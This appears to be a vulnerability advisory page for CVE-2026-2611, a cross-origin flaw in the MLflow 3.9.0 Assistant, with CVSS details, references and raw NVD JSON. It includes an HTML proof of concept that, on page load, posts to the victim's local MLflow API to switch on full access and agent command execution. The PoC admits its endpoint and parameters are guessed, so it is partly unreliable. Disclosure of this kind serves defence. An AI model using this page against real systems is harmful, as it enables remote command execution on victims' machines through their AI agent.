CVE-2026-2611

Description

In MLflow version 3.9.0, the MLflow Assistant feature introduced improper origin validation in its /ajax-api endpoints. This vulnerability allows a remote attacker to exploit cross-origin requests from a malicious webpage to interact with the MLflow Assistant running on a victim's local machine. By bypassing the loopback-only restriction, the attacker can modify the Assistant's configuration to enable full access, which in turn allows the execution of arbitrary commands via the Claude Code sub-agent. This issue is resolved in version 3.10.0.

CVSS Details

CVSS Score

9.6

Severity

CRITICAL

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

MLflow 3.9.0

MLflow < 3.10.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-2611: MLflow Assistant CSRF leading to RCE
  This HTML page demonstrates how a malicious site can send a forged request to the local MLflow instance.
  Assuming the endpoint is /ajax-api/assistant/config and the parameter enables full access.
-->
<html>
  <body>
    <h2>MLflow Assistant CSRF PoC</h2>
    <script>
      function exploit() {
        // Target the local MLflow Assistant API endpoint
        var target = 'http://127.0.0.1:5000/ajax-api/assistant/config';
        
        // Payload to modify configuration and enable full access/command execution
        var data = JSON.stringify({
          "allow_full_access": true,
          "enable_agent_execution": true
        });

        fetch(target, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json'
          },
          body: data,
          credentials: 'include' // Sends cookies if the browser has them
        }).then(response => {
          console.log('Request sent to local MLflow instance');
        }).catch(error => {
          console.error('Exploit failed:', error);
        });
      }

      // Trigger the attack on page load
      window.onload = exploit;
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-2611
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-2611
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-2611/
[4] VulDB https://vuldb.com/cve/CVE-2026-2611
[5] https://github.com/mlflow/mlflow/commit/8f9c8a53af90842944101eb8b7d60706822c81bc
[6] https://huntr.com/bounties/8462addd-b464-4a84-b6a2-5529604e6e5a
[7] https://huntr.com/bounties/8462addd-b464-4a84-b6a2-5529604e6e5a

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-2611", "sourceIdentifier": "[email protected]", "published": "2026-05-19T10:16:22.983", "lastModified": "2026-05-19T15:03:31.370", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In MLflow version 3.9.0, the MLflow Assistant feature introduced improper origin validation in its /ajax-api endpoints. This vulnerability allows a remote attacker to exploit cross-origin requests from a malicious webpage to interact with the MLflow Assistant running on a victim's local machine. By bypassing the loopback-only restriction, the attacker can modify the Assistant's configuration to enable full access, which in turn allows the execution of arbitrary commands via the Claude Code sub-agent. This issue is resolved in version 3.10.0."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}]}], "references": [{"url": "https://github.com/mlflow/mlflow/commit/8f9c8a53af90842944101eb8b7d60706822c81bc", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/8462addd-b464-4a84-b6a2-5529604e6e5a", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/8462addd-b464-4a84-b6a2-5529604e6e5a", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}